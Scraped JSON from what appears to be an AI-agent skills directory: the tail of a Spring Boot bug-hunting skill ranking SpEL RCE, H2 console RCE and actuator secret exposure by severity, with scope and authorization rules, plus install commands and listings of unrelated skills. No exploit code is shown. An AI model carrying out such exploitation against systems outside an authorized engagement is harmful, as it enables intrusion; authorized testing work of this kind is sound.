Critical\n- SpEL RCE: Critical\n- H2 console RCE: Critical\n- Actuator env (passwords exposed): High\n- Mappings disclosure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":25,"source":48,"license":14,"sources":49,"category":41,"date_added":50,"description":7,"source_repo":51,"source_type":30,"report_count":52,"compatibility":53,"license_source":54},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","hackerone_public, cve_database, spring_security_advisories","2026-09-20","elementalsouls\u002FClaude-BugHunter",16,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-springboot",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-14 14:18:11",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-springboot",{"tool":67,"command":68},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-springboot",{"tool":70,"command":71},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-springboot","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-springboot\u002FSKILL.md",true,[],[76,85,93,102,110,118],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":80,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":84},"01M7B6HREHB53EHGGVZND7DDXN","scrapely-scrape","Collect web data with ready-made Scrape.ly scrapers: Google Maps places, Amazon products, LinkedIn jobs, reviews, social posts. Use when the user wants structured data from a site.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-scrapely-scrape\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-scrapely-scrape\u002FSKILL.md",[],[],"2026-11-15 14:19:17",{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":89,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":84},"01M7B6GDNNN4HE662KA6KPF7GW","lumify-odds","Lumify's hosted sports MCP\u002FREST API for sportsbook odds, line-movement history, public betting splits, and player props across MLB, NFL, NBA, NHL, soccer, tennis, NCAAF, NCAAB. Read-only market data.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lumify-odds\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lumify-odds\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":101},"01M743PZMJW2GEKG5J199GPSK7","sync-lipsync","Lip-sync an existing video of a real person to new audio or a typed script with sync. labs through its hosted MCP server, quoting the cost and waiting for approval first.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-sync-lipsync\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-sync-lipsync\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":106,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":101},"01M743MMN3CKTJVNRSZMB684E5","music-for-robots","Optional music-inspired creative exercise for multimodal agents. Ingests an unquantized acoustic MP3 composition by Michael Luchtan (Music For Robots) into a private temporary directory, analyzing microtiming and texture to inspire creative writing, brainstorming, or technical tasks.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-music-for-robots\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-music-for-robots\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":114,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":101},"01M743KC2GN5WE11BSTWSSWD8B","imagera-media","Generate or edit images, video clips, voiceovers and music through the hosted Imagera MCP server, quoting the credit cost and getting approval before each paid call.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-imagera-media\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-imagera-media\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":122,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":101},"01M743HDJNZQA8A4VT68NWGWQJ","deja-history","Search this machine's past AI coding sessions across Claude Code, Codex, Cursor, Gemini CLI and thirty-nine other agents before editing, debugging, or denying something exists.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-deja-history\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-deja-history\u002FSKILL.md",[],[]]